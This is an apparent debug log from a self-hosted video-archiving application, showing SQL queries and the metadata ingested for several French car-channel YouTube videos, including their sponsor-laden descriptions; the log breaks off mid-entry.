07:39:04.050 [debug] QUERY OK source="sources" db=1.7ms idle=621.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:04.053 [debug] QUERY OK source="media_items" db=2.2ms queue=0.2ms idle=623.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 17:15:05Z], 2] 07:39:04.057 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:04.059 [debug] QUERY OK source="media_items" db=4.4ms idle=626.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "7eac38e3-6a54-45f0-9708-e22b68631f14", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", 15, "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, false, false, 2, [], 98, ~U[2026-01-08 17:15:05Z], ~U[2026-04-19 05:39:04Z], ~U[2026-04-19 05:39:04Z], "NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, 2, ~U[2026-01-08 17:15:05Z]] 07:39:04.060 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:04.061 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.3ms idle=10.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:04.063 [debug] QUERY OK source="media_items" db=1.3ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16959] 07:39:04.064 [debug] Current batch of media processed. Will check again in 1000ms 07:39:05.068 [debug] Current batch of media processed. Will check again in 1000ms 07:39:06.069 [debug] Current batch of media processed. Will check again in 1000ms 07:39:07.070 [debug] Current batch of media processed. Will check again in 1000ms 07:39:08.072 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "duration" => 5577, "filename" => "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", "id" => "4kEtEQcb0ws", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4kEtEQcb0ws", "playlist_index" => 16, "timestamp" => 1766078100, "title" => "24 HEURES POUR FABRIQUER UNE VOITURE", "upload_date" => "20251218"} 07:39:08.074 [debug] QUERY OK source="sources" db=1.2ms queue=0.3ms idle=644.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:08.077 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=646.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:08.080 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=649.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-18 17:15:00Z], 2] 07:39:08.134 [debug] QUERY OK source="media_items" db=50.3ms idle=652.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "e5e8a6c6-707f-4c14-b2ae-d93506ccc6ca", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", 16, "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, false, false, 2, [], 98, ~U[2025-12-18 17:15:00Z], ~U[2026-04-19 05:39:08Z], ~U[2026-04-19 05:39:08Z], "Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, 2, ~U[2025-12-18 17:15:00Z]] 07:39:08.135 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=671.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:08.138 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=61.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:08.141 [debug] QUERY OK source="media_items" db=1.2ms queue=0.4ms idle=62.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14568] 07:39:08.142 [debug] Current batch of media processed. Will check again in 1000ms 07:39:09.143 [debug] Current batch of media processed. Will check again in 1000ms 07:39:10.171 [debug] Current batch of media processed. Will check again in 1000ms 07:39:11.172 [debug] Current batch of media processed. Will check again in 1000ms 07:39:12.173 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "duration" => 1144, "filename" => "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", "id" => "BP5SQF4FJA8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BP5SQF4FJA8", "playlist_index" => 17, "timestamp" => 1765473301, "title" => "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "upload_date" => "20251211"} 07:39:12.176 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=1677.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:12.177 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=743.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:12.179 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=744.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 17:15:01Z], 2] 07:39:12.183 [debug] QUERY OK source="media_items" db=2.8ms idle=747.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "11492e7b-378d-4c44-87ce-5a91541dfe38", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", 17, "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, false, false, 2, [], 98, ~U[2025-12-11 17:15:01Z], ~U[2026-04-19 05:39:12Z], ~U[2026-04-19 05:39:12Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, 2, ~U[2025-12-11 17:15:01Z]] 07:39:12.185 [debug] QUERY OK source="sources" db=0.7ms idle=685.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:12.186 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:12.188 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=9.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13772] 07:39:12.188 [debug] Current batch of media processed. Will check again in 1000ms 07:39:13.190 [debug] Current batch of media processed. Will check again in 1000ms 07:39:14.191 [debug] Current batch of media processed. Will check again in 1000ms 07:39:15.194 [debug] Current batch of media processed. Will check again in 1000ms 07:39:16.196 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "duration" => 1590, "filename" => "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", "id" => "Bvs2H0Krn3Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", "playlist_index" => 18, "timestamp" => 